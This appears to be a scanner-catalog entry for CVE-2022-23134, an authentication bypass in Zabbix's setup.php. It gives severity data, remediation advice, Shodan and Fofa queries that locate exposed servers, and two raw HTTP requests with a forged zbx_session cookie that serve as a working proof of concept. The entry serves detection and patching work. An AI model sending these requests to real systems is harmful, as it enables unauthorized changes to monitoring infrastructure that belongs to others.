| Title | Zabbix Setup Configuration Authentication Bypass |
|---|---|
| Author | bananabr |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Zabbix setup configuration. |
| Remediation | Apply the latest security patches or updates provided by Zabbix to fix the authentication bypass vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.93096 |
| CVE ID | CVE-2022-23134 |
| CWE ID | CWE-287,CWE-284 |
| Shodan Query | http.favicon.hash:892542951http.title:"zabbix-server"cpe:"cpe:2.3:a:zabbix:zabbix" |
| Fofa Query | icon_hash=892542951app="zabbix-监控系统" && body="saml"title="zabbix-server" |
| Tags | cve cve2022 zabbix auth-bypass kev vkev vuln |
After the initial setup process, some steps of setup.php file are reachable not only by super-administrators but also by unauthenticated users. A malicious actor can pass step checks and potentially change the configuration of Zabbix Frontend.
GET /zabbix/setup.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Cookie: zbx_session=eyJzZXNzaW9uaWQiOiJJTlZBTElEIiwiY2hlY2tfZmllbGRzX3Jlc3VsdCI6dHJ1ZSwic3RlcCI6Niwic2VydmVyQ2hlY2tSZXN1bHQiOnRydWUsInNlcnZlckNoZWNrVGltZSI6MTY0NTEyMzcwNCwic2lnbiI6IklOVkFMSUQifQ%3D%3D
Accept-Encoding: gzip
GET /setup.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/15.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Cookie: zbx_session=eyJzZXNzaW9uaWQiOiJJTlZBTElEIiwiY2hlY2tfZmllbGRzX3Jlc3VsdCI6dHJ1ZSwic3RlcCI6Niwic2VydmVyQ2hlY2tSZXN1bHQiOnRydWUsInNlcnZlckNoZWNrVGltZSI6MTY0NTEyMzcwNCwic2lnbiI6IklOVkFMSUQifQ%3D%3D
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-23134.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-23134.pcap
N/AN/A